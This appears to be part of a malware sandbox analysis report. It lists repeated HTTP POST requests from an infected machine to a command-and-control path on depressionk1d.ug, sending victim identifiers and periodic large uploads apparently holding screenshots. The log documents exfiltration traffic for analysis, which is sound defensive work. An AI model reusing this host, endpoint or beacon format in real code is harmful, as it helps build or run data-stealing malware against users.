Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2379f4103dba772a786c03df93bf021fHost: depressionk1d.ugContent-Length: 111558Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----86276d229fb4ffc8fb814ec5a99a260fHost: depressionk1d.ugContent-Length: 106881Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d156afa604c62121b8f472f457fa2c8fHost: depressionk1d.ugContent-Length: 106953Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
